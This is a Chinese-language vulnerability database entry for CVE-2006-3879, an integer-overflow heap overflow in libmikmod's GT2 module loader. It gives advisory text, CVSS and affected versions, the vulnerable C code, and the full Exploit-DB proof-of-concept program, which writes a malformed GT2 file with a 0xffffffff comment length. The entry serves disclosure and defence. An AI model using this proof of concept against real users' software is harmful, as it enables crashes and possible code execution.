CVE-2006-3879
CVSS5.0
发布时间 :2006-07-26 21:04:00
修订时间 :2011-10-11 00:00:00
NMCOES    

[原文]Integer overflow in the loadChunk function in loaders/load_gt2.c in libmikmod in Mikmod Sound System 3.2.2 allows remote attackers to cause a denial of service via a GRAOUMF TRACKER (GT2) module file with a large (0xffffffff) comment length value in an XCOM chunk.


[CNNVD]Libmikmod XCOM处理器远程堆溢出漏洞(CNNVD-200607-455)

        libmikmod是Mikmod所使用的函数库,主要用于播放各种类型的音频模块。
        libmikmod在处理XCOM对象时存在堆溢出漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。
        在处理XCOM块时libmikmod读取了用于指定标注大小的32位数字,然后分配等于该大小加1的内存,以容纳标注末尾可能的空字节。因此如果攻击者使用了0xffffffff值(0xffffffff + 1 = 0)的话,函数库就可能分配0字节的内存。然后在试图读取大小值所指定的内存数量时,就会导致堆溢出。
        loaders/load_gt2.c中的漏洞代码:
        GT_CHUNK *loadChunk(void)
         ...
         if (!memcmp(new_chunk, "XCOM", 4)) {
         new_chunk->xcom.chunk_size = _mm_read_M_ULONG(modreader);
         new_chunk->xcom.comment_len = _mm_read_M_ULONG(modreader);
         new_chunk->xcom.comment = MikMod_malloc(new_chunk->xcom.comment_len + 1);
         _mm_read_UBYTES(new_chunk->xcom.comment, new_chunk->xcom.comment_len, modreader);
         return new_chunk;
         }
         ...
        
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-189 [数值错误]

- CPE (受影响的平台与产品)

cpe:/a:miod_vallat:mikmod:3.1.6
cpe:/a:miod_vallat:mikmod:3.2.2
cpe:/a:miod_vallat:mikmod:3.2.0
cpe:/a:miod_vallat:mikmod:3.1.10
cpe:/a:miod_vallat:mikmod:3.1.7
cpe:/a:miod_vallat:mikmod:3.1.11
cpe:/a:miod_vallat:mikmod:3.1.9
cpe:/a:miod_vallat:mikmod:3.0.3
cpe:/a:miod_vallat:mikmod:3.1.8
cpe:/a:miod_vallat:mikmod:3.2.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3879
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3879
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-455
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/2967
(VENDOR_ADVISORY)  VUPEN  ADV-2006-2967
http://www.securityfocus.com/bid/19134
(UNKNOWN)  BID  19134
http://www.securityfocus.com/archive/1/archive/1/441006/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060724 Heap overflow in the GT2 loader of libmikmod 3.2.2
http://securityreason.com/securityalert/1288
(UNKNOWN)  SREASON  1288
http://secunia.com/advisories/21196
(VENDOR_ADVISORY)  SECUNIA  21196
http://aluigi.org/poc/lmmgt2ho.zip
(UNKNOWN)  MISC  http://aluigi.org/poc/lmmgt2ho.zip
http://aluigi.altervista.org/adv/lmmgt2ho-adv.txt
(VENDOR_ADVISORY)  MISC  http://aluigi.altervista.org/adv/lmmgt2ho-adv.txt

- 漏洞信息

Libmikmod XCOM处理器远程堆溢出漏洞
中危 数字错误
2006-07-26 00:00:00 2006-08-21 00:00:00
远程  
        libmikmod是Mikmod所使用的函数库,主要用于播放各种类型的音频模块。
        libmikmod在处理XCOM对象时存在堆溢出漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。
        在处理XCOM块时libmikmod读取了用于指定标注大小的32位数字,然后分配等于该大小加1的内存,以容纳标注末尾可能的空字节。因此如果攻击者使用了0xffffffff值(0xffffffff + 1 = 0)的话,函数库就可能分配0字节的内存。然后在试图读取大小值所指定的内存数量时,就会导致堆溢出。
        loaders/load_gt2.c中的漏洞代码:
        GT_CHUNK *loadChunk(void)
         ...
         if (!memcmp(new_chunk, "XCOM", 4)) {
         new_chunk->xcom.chunk_size = _mm_read_M_ULONG(modreader);
         new_chunk->xcom.comment_len = _mm_read_M_ULONG(modreader);
         new_chunk->xcom.comment = MikMod_malloc(new_chunk->xcom.comment_len + 1);
         _mm_read_UBYTES(new_chunk->xcom.comment, new_chunk->xcom.comment_len, modreader);
         return new_chunk;
         }
         ...
        
        

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.mikmod.org/

- 漏洞信息 (2073)

libmikmod <= 3.2.2 (GT2 loader) Local Heap Overflow PoC (EDBID:2073)
multiple dos
2006-07-25 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>



#define VER         "0.1"



#define cpy(x,y)    strncpy(x, y, sizeof(x));
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwmem(FILE *fd, uint8_t *data, int size);
void std_err(void);



#pragma pack(1)

typedef struct {
    uint8_t     gt2[3];
    uint8_t     version;
    uint32_t    chunk_size;
    uint8_t     module[32];
    uint8_t     comments[160];
    uint8_t     date_day;
    uint8_t     date_month;
    uint16_t    date_year;
    uint8_t     tracker[24];
    uint16_t    speed;
    uint16_t    tempo;
    uint16_t    volume;
    uint16_t    voices;
    /* voices * 2 */
} gt2_t;

#pragma pack()



int main(int argc, char *argv[]) {
    FILE    *fd;
    gt2_t   gt2;
    int     i;
    char    *fname;

    setbuf(stdout, NULL);

    fputs("\n"
        "libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output_file.GT2>\n"
            "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();

    gt2.gt2[0]        = 'G';
    gt2.gt2[1]        = 'T';
    gt2.gt2[2]        = '2';
    gt2.version       = 4;
    gt2.chunk_size    = 0;                  // unused
    cpy(gt2.module,   "module_name");
    cpy(gt2.comments, "author");
    gt2.date_day      = 1;
    gt2.date_month    = 1;
    gt2.date_year     = 2006;
    cpy(gt2.tracker,  "tracker");
    gt2.speed         = 6;
    gt2.tempo         = 300;
    gt2.volume        = 0;
    gt2.voices        = 0;

    printf("- write GT2 header\n");
    fwrite(&gt2, sizeof(gt2), 1, fd);
    for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);

    printf("- build the XCOM header for exploiting the heap overflow\n");
    fwmem(fd, "XCOM", 4);
    fwi32(fd, 0);                           // unused
    fwi32(fd, 0xffffffff);                  // bug here, 0xffffffff + 1 = 0
    fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

    fclose(fd);
    printf("- finished\n");
    return(0);
}



void fwi08(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
}



void fwi16(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
}



void fwi32(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
    fputc((num >> 16) & 0xff, fd);
    fputc((num >> 24) & 0xff, fd);
}



void fwstr(FILE *fd, uint8_t *str) {
    fputs(str, fd);
}



void fwmem(FILE *fd, uint8_t *data, int size) {
    fwrite(data, size, 1, fd);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}

// milw0rm.com [2006-07-25]
		

- 漏洞信息

27497
MikMod libmikmod GT2 XCOM Chunk Handling Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2006-07-24 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Libmikmod XCOM Handler Remote Heap Buffer Overflow Vulnerability
Boundary Condition Error 19134
Yes No
2006-07-24 12:00:00 2007-03-08 03:35:00
Luigi Auriemma is credited with the discovery of this vulnerability.

- 受影响的程序版本

libmikmod libmikmod 3.2.2

- 漏洞讨论

A buffer-overflow vulnerability occurs in the libmikmod library. This issue is due to the software's failure to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue may allow attackers to execute arbitrary machine code in the context of the affected application, which may facilitate the remote compromise of affected computers.

Versions 3.2.2 and prior are vulnerable; versions 2.x (which do not support the GT2 file format) are not vulnerable.

- 漏洞利用

Example exploit code has been provided:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站